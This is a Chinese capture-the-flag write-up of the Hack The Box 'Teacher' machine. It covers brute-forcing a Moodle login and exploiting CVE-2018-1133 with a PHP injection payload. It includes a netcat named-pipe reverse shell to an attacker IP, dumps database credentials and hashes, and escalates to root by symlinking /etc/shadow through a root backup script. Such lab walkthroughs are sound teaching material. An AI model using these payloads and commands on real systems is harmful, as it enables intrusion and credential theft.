[HTB] Teacher Writeup

admin 2024年9月28日14:59:33评论9 views字数 6349阅读21分9秒阅读模式

概述 (Overview)

[HTB] Teacher Writeup

HOST: 10.10.10.153

时间: 2021-07-28

机器作者: Gioo

困难程度:  easy

MACHINE TAGS:

  • Web

  • PHP

  • SQL

  • File Misconfiguration

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行扫描,发现仅存在一个开放端口运行着HTTP服务,通过对路径进行枚举发现存在二级站点。从首页的图片中发现隐写内容,使用枚举后的密码成功登录二级站点的管理后台。随后通过代码注入漏洞成功拿到立足点。

利用获取到的数据库连接信息成功读取到Giovanni用户的备份密码,还原成明文后成功横向移动至该用户shell。通过监听定时任务执行脚本发现root会执行备份脚本,利用创建链接完成对shadow文件内容的更改,使用自定义密码成功完成权限提升。

枚举(Enumeration)

老规矩起手,还是先用 Nmap 对目标服务器进行开放端口的服务识别:

$ namp -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan `IP`

PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blackhat highschool

从结果中可以获悉,目标服务运行了 HTTP Apache 服务,且版本为2.4.25 。其中还知道了服务器为Debian

Port 80 - Apache httpd 2.4.25

通过浏览器查看目标服务器的 HTTP 站点:

[HTB] Teacher Writeup

简单扫了一眼页面从中找到了一条mail地址:[email protected] (不管有没用先记下来),然后使用 dirsearch.py 工具对目录进行枚举。

Dirsearch tools : https://github.com/maurosoria/dirsearch

$ dirsearch.py -u http://10.10.10.153/ -o /home/kali/hackthebox/dirsearch.txt -w /home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -e html301   313B   http://10.10.10.153:80/images    -> REDIRECTS TO: http://10.10.10.153/images/301   310B   http://10.10.10.153:80/css    -> REDIRECTS TO: http://10.10.10.153/css/301   313B   http://10.10.10.153:80/manual    -> REDIRECTS TO: http://10.10.10.153/manual/301   309B   http://10.10.10.153:80/js    -> REDIRECTS TO: http://10.10.10.153/js/301   317B   http://10.10.10.153:80/javascript    -> REDIRECTS TO: http://10.10.10.153/javascript/301   312B   http://10.10.10.153:80/fonts    -> REDIRECTS TO: http://10.10.10.153/fonts/403   297B   http://10.10.10.153:80/phpmyadmin301   313B   http://10.10.10.153:80/moodle    -> REDIRECTS TO: http://10.10.10.153/moodle/

查看扫描结果,其中 phpmyadmin  引起了我的注意,但从状态 403 可以看出我们并不具备访问权限。随后查看 /moodle 目录出现了新的站点,留意右上角还存在登陆页面。

[HTB] Teacher Writeup

通过查看返回请求包找了特征码:Cookie: MoodleSession=*,搜索该key可以找到官网 https://moodle.org/ 是一个开源的在线学习教育平台。

通过查看开发残留文件 http://10.10.10.153/moodle/mod/forum/upgrade.txt  得到当前版本为3.4

接着找到了对应该CMS系统的漏洞扫描工具:https://github.com/inc0d3/moodlescan.git ,随后对目标站点进行扫描。

$ python3 moodlescan.py -u http://10.10.10.153/moodle/
Getting moodle version...
Version found via /composer.lock : Moodle v3.4.1

失败了,并没有发现有用的利用点。

立足点(Foothold)

在这纠结了很久没有有效的突破,想了想是不是存在图片隐写这种操作。将所有的图片下载至本地,发现其中的5.png文件无法预览:

[HTB] Teacher Writeup

使用 strings 命令对图片的字符串进行读取,发现提示信息:

$ strings 5.png 
Hi Servicedesk,
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
Could you guys figure out what the last charachter is, or just reset it?
Thanks,
Giovanni

用户 Giovanni 忘记了他密码的最后一位字符,所以我们只需要组合 Th4C00lTheacha* 生成新的字典进行爆破登录尝试。

寻找 SecLists 中含有字符的字典,并将其组合在一起形成枚举列表

SecLists - https://github.com/danielmiessler/SecLists

[HTB] Teacher Writeup

[HTB] Teacher Writeup

这里我直接使用burp的功能对登录接口进行枚举,当最后一位是 # 字符时会返回不一样长度的内容。

[HTB] Teacher Writeup

得到新的账号组 giovanni:Th4C00lTheacha# ,使用它成功登录系统后台。

通过先前对该套CMS系统的漏洞搜索,发现后台存在一个可以RCE的漏洞编号:CVE-2018-1133

https://blog.sonarsource.com/moodle-remote-code-execution?redirect=rips

阅读完分析文章后,开始对漏洞进行复现。

在页面已存在的列表中点击  add an activity or resource ,在新出现的窗口中选择 Quiz

[HTB] Teacher Writeup

随后的内容可以任意填写

[HTB] Teacher Writeup

填写完成后会在主题列表写多出同名的内容:

[HTB] Teacher Writeup

点击进入,再点击编辑

[HTB] Teacher Writeup

随后点击 a new question

[HTB] Teacher Writeup

在新窗口中选择 Calculated

[HTB] Teacher Writeup

至于填写内容呢,我参考的 exploit-db 中的 46551,内容是/*{a*/$_GET[0];//{x}}

[HTB] Teacher Writeup

[HTB] Teacher Writeup

保存后就可以访问尝试了,首先通过burp传递一个wget请求至本地监听的80端口,用于判断目标服务是否可以成功执行命令,且是否可以正常出网。

[HTB] Teacher Writeup

验证一切正常后,执行如下代码得到一个 Reverse Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.15 9900 >/tmp/f# 将空格替换成加号,已绕过GET请求的urlencode成功达到命令执行rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/bash+-i+2>&1|nc+10.10.16.15+9900+>/tmp/f

[HTB] Teacher Writeup

横向移动(Lateral Movement)

通过查看本地端口开发情况,发现运行有MySql监听端口,尝试看看是否有存在ssh登录用户的相关账号密码。

$ cat config.php<?php  // Moodle configuration fileunset($CFG);global $CFG;$CFG = new stdClass();$CFG->dbtype    = 'mariadb';$CFG->dblibrary = 'native';$CFG->dbhost    = 'localhost';$CFG->dbname    = 'moodle';$CFG->dbuser    = 'root';$CFG->dbpass    = 'Welkom1!';$CFG->prefix    = 'mdl_';$CFG->dboptions = array (  'dbpersist' => 0,  'dbport' => 3306,  'dbsocket' => '',  'dbcollation' => 'utf8mb4_unicode_ci',);......

读取站点的配置文件拿到MySql连接配置,通过命令行执行 mysql 带-e参数,成功获得md_user表中保存的密码。

$ mysql -uroot -p'Welkom1!' -dmoodle -e 'select username,password,email from mdl_user G'

select username,password,email from mdl_user G*************************** 1. row ***************************username: guestpassword: $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO   email: root@localhost*************************** 2. row ***************************username: adminpassword: $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2   email: [email protected]*************************** 3. row ***************************username: giovannipassword: $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO   email: [email protected]*************************** 4. row ***************************username: Giovannibakpassword: 7a860966115182402ed06375cf0a22af   email: 4 rows in set (0.00 sec)

通过对 7a860966115182402ed06375cf0a22af 哈希的解密,得到明文密码: expelled。使用该密码进行 su成功横移至 Giovanni 用户,成功获得 User Flag。

[HTB] Teacher Writeup

权限提升(Privilege Escalation)

首先查看下/etc/os-release 文件,确认下当前系统及版本。

PRETTY_NAME="Debian GNU/Linux 9 (stretch)"NAME="Debian GNU/Linux"VERSION_ID="9"VERSION="9 (stretch)"ID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"

开始翻找文件,在当前用户的目录下发现含有一个备份压缩包:

$ /home/giovanni/work/tmp
backup_courses.tar.gz

怀疑存在root执行定时任务的情况,使用 pspy 工具监听一下看看是否存在root执行命令:

非特权 Linux 进程监听 - https://github.com/DominicBreuker/pspy

[HTB] Teacher Writeup

可以看到,root 用户会通过计划任务执行 /usr/bin/backup.sh 脚本,随后 Giovanni 用户会执行它 Home 目录下的 shell.sh 脚本,接着 root 用户会执行 tar 命令进行压缩包创建。

其实使用文件查找命令能找到关键脚本:find / -group giovanni -type f 2>/dev/null

$ cat /usr/bin/backup.sh#!/bin/bashcd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;

阅读脚本代码我首先想到是路径Hijacking,因为 tar 命令并没有指定绝对路径。但我找不到可以将路径注入到root执行时的环境变量中的方法,转而尝试其他的思路,尝试利用软链进行文件读取的尝试。

首先在 /home/giovanni/work/tmp 目录中创建读取 root.txt 的软链接。

[HTB] Teacher Writeup

待脚本执行后发现已经在解压后的文件内生效了软链,但在输出文件内容时存在权限不住的错误。

[HTB] Teacher Writeup

这里有个小坑。在Linux中,当上一级也是 /root 目录不具备读权限时,就算你知道里面存在可读文件的绝对路径你也没权限查看。

[HTB] Teacher Writeup

可以看到,虽然 root.txt文件是 0777 权限,但在低权限用户下也依然无法访问。所以这里只要对 /root 文件建立软链接,那么就可以读取到 root.txt 的内容了。

改变下思路我打算直接软链 shadow 文件,并自定义 root 用户的密码。

[HTB] Teacher Writeup

可以看到当定时任务执行完毕后,shadow 的文件权限已经从原来的 0640 变成了 0777  ,查看用户密码哈希:

root:$6$j801WLZh$Gm3artvmHU6m4zOtHM5/cEejF4mJ.Ctvf2rNlP.z/30gzsykgbCMQmZLr3vfAXzRhp5v3CHorU.giSaqVXdi/0:17709:0:99999:7:::
giovanni:$6$RiDoH4VN$WamVNCkuoZyN1uM6hmyKKt6GwGWAamiQM3SYCrr5lmUYnmV7vpBNkYZCHqjh7UDtsdF8NbGjM7dJPIsxeFkrx0:17709:0:99999:7:::

每行用户信息被划分为 9 个字段,每个字段的含义如下:

用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

也可以使用以前做  Hackthebox-Bank 靶机时的提取方法,将自定义密码写入到 passwd 文件中。

passwd 文件内容划分为 7 个字段,每个字段所表示的含义如下:

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

# 生成自定义密码哈希$ openssl passwd -1 '123456'

替换后使用 su 命令成功提权至 root shell。

[HTB] Teacher Writeup

参考

  • http://blog.leanote.com/post/snowming/98864b36fc08

原文始发于微信公众号(一个人的安全笔记):[HTB] Teacher Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:59:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] Teacher Writeuphttps://cn-sec.com/archives/768560.html

发表评论

匿名网友 填写信息